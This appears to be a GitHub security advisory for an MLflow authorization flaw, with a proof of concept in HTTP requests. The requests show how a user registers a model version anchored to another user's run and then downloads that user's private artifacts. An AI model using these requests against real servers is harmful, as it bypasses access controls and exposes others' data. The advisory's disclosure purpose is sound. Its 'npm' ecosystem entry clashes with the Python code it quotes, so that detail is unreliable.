GHSA-GQCH-G4W5-7QCW
Vulnerability from github – Published: 2026-08-17 21:59 – Updated: 2026-08-17 21:59Summary
The _validate_source_run and _validate_source_model functions in mlflow/server/handlers.py verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user's run_id in CreateModelVersion, creating a model version whose artifact URI points at the victim's artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim's artifact directory via GET /model-versions/get-artifact, bypassing the experiment-level READ permission gate on GET /get-artifact.
Details
POST /api/2.0/mlflow/model-versions/create is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside _validate_source_run only verifies path containment, not caller authorization:
# mlflow/server/handlers.py _validate_source_run()
def _validate_source_run(source: str, run_id: str) -> None:
if is_local_uri(source):
if run_id:
store = _get_tracking_store()
run = store.get_run(run_id) # <-- no permission check on run_id
source = pathlib.Path(local_file_uri_to_path(source)).resolve()
if is_local_uri(run.info.artifact_uri):
run_artifact_dir = pathlib.Path(...).resolve()
if run_artifact_dir in [source, *source.parents]:
return # validation passes
raise MlflowException(...)
After creation, the model version's source and run_id point at the victim's artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored source:
GET /model-versions/get-artifact?name=<model>&version=<v>&path=<file>
This bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, GET /get-artifact for the victim's run would return 403; via the model version artifact handler it returns 200.
PoC
Prerequisites: MLflow v3.13.0, --app-name basic-auth, default_permission=NO_PERMISSIONS (or alice's experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice's experiment.
- Alice uploads a private file:
# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt
echo "ALICE_SECRET_MODEL_WEIGHTS=0.42" > secret_weights.txt
- Bob directly tries to read alice's artifact -- blocked:
GET /get-artifact?run_id=ALICE_RUN_ID&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>
Response: HTTP 403 (when alice's experiment is private)
- Bob creates a model version referencing alice's run_id as source anchor:
POST /api/2.0/mlflow/model-versions/create HTTP/1.1
Authorization: Basic <bob credentials>
Content-Type: application/json
{"name":"bob-model","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}
Response: HTTP 200
{"model_version":{"name":"bob-model","version":"1","source":"/mlruns/2/ALICE_RUN_ID/artifacts","run_id":"ALICE_RUN_ID"}}
- Bob reads alice's private file via the model version artifact handler:
GET /model-versions/get-artifact?name=bob-model&version=1&path=secret_weights.txt HTTP/1.1
Authorization: Basic <bob credentials>
Response: HTTP 200 -- body contains ALICE_SECRET_MODEL_WEIGHTS=0.42
Live-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.
Impact
An authenticated user who can create registered models can read arbitrary files from any other user's artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run's artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "mlflow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.15.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-69148"
],
"database_specific": {
"cwe_ids": [
"CWE-862"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T21:59:09Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\nThe `_validate_source_run` and `_validate_source_model` functions in `mlflow/server/handlers.py` verify that a model version source path is within the artifact directory of a specified run or logged model, but do not check whether the caller has READ permission on that run or model. An authenticated MLflow user can therefore reference another user\u0027s run_id in `CreateModelVersion`, creating a model version whose artifact URI points at the victim\u0027s artifact directory. If the calling user has MANAGE permission on the registered model (which they do after creation), they can then read arbitrary files from the victim\u0027s artifact directory via `GET /model-versions/get-artifact`, bypassing the experiment-level READ permission gate on `GET /get-artifact`.\n\n### Details\n\n`POST /api/2.0/mlflow/model-versions/create` is protected: the caller must have UPDATE permission on the registered model. However, the source/run_id validation performed inside `_validate_source_run` only verifies path containment, not caller authorization:\n\n```python\n# mlflow/server/handlers.py _validate_source_run()\ndef _validate_source_run(source: str, run_id: str) -\u003e None:\n if is_local_uri(source):\n if run_id:\n store = _get_tracking_store()\n run = store.get_run(run_id) # \u003c-- no permission check on run_id\n source = pathlib.Path(local_file_uri_to_path(source)).resolve()\n if is_local_uri(run.info.artifact_uri):\n run_artifact_dir = pathlib.Path(...).resolve()\n if run_artifact_dir in [source, *source.parents]:\n return # validation passes\n raise MlflowException(...)\n```\n\nAfter creation, the model version\u0027s `source` and `run_id` point at the victim\u0027s artifact directory. The caller can read files from that directory via the model version artifact handler, which derives the artifact path from the stored `source`:\n\n```\nGET /model-versions/get-artifact?name=\u003cmodel\u003e\u0026version=\u003cv\u003e\u0026path=\u003cfile\u003e\n```\n\nThis bypass matters in deployments where experiment-level permissions are explicitly restricted -- i.e., where the default_permission is NO_PERMISSIONS or the target experiment has no grant for the attacker. Without the bypass, `GET /get-artifact` for the victim\u0027s run would return 403; via the model version artifact handler it returns 200.\n\n### PoC\n\nPrerequisites: MLflow v3.13.0, `--app-name basic-auth`, default_permission=NO_PERMISSIONS (or alice\u0027s experiment restricted). Alice owns experiment 2 and run ALICE_RUN_ID. Bob owns experiment 4. Bob has READ on his own resources but NOT on alice\u0027s experiment.\n\n1. Alice uploads a private file:\n\n```bash\n# file is at /mlruns/2/ALICE_RUN_ID/artifacts/secret_weights.txt\necho \"ALICE_SECRET_MODEL_WEIGHTS=0.42\" \u003e secret_weights.txt\n```\n\n2. Bob directly tries to read alice\u0027s artifact -- blocked:\n\n```\nGET /get-artifact?run_id=ALICE_RUN_ID\u0026path=secret_weights.txt HTTP/1.1\nAuthorization: Basic \u003cbob credentials\u003e\n```\n\nResponse: HTTP 403 (when alice\u0027s experiment is private)\n\n3. Bob creates a model version referencing alice\u0027s run_id as source anchor:\n\n```\nPOST /api/2.0/mlflow/model-versions/create HTTP/1.1\nAuthorization: Basic \u003cbob credentials\u003e\nContent-Type: application/json\n\n{\"name\":\"bob-model\",\"source\":\"/mlruns/2/ALICE_RUN_ID/artifacts\",\"run_id\":\"ALICE_RUN_ID\"}\n```\n\nResponse: HTTP 200\n```json\n{\"model_version\":{\"name\":\"bob-model\",\"version\":\"1\",\"source\":\"/mlruns/2/ALICE_RUN_ID/artifacts\",\"run_id\":\"ALICE_RUN_ID\"}}\n```\n\n4. Bob reads alice\u0027s private file via the model version artifact handler:\n\n```\nGET /model-versions/get-artifact?name=bob-model\u0026version=1\u0026path=secret_weights.txt HTTP/1.1\nAuthorization: Basic \u003cbob credentials\u003e\n```\n\nResponse: HTTP 200 -- body contains `ALICE_SECRET_MODEL_WEIGHTS=0.42`\n\nLive-validated on v3.13.0 with default_permission=READ (the file download is confirmed 200 OK); impact escalates to a true bypass when default_permission=NO_PERMISSIONS.\n\n### Impact\n\nAn authenticated user who can create registered models can read arbitrary files from any other user\u0027s artifact directory, bypassing the experiment-level READ permission gate. Model weights, training data samples, and evaluation reports stored in a run\u0027s artifact directory are accessible. The attacker needs UPDATE (or MANAGE) permission on at least one registered model; with default_permission=READ, that is automatically granted to the model creator.",
"id": "GHSA-gqch-g4w5-7qcw",
"modified": "2026-08-17T21:59:09Z",
"published": "2026-08-17T21:59:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/security/advisories/GHSA-gqch-g4w5-7qcw"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/pull/24293"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/commit/4bb7474771c3be808cd9e129defef9305f2869be"
},
{
"type": "PACKAGE",
"url": "https://github.com/mlflow/mlflow"
},
{
"type": "WEB",
"url": "https://github.com/mlflow/mlflow/releases/tag/v3.15.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "MLflow: CreateModelVersion source validation does not check READ permission on referenced run_id"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.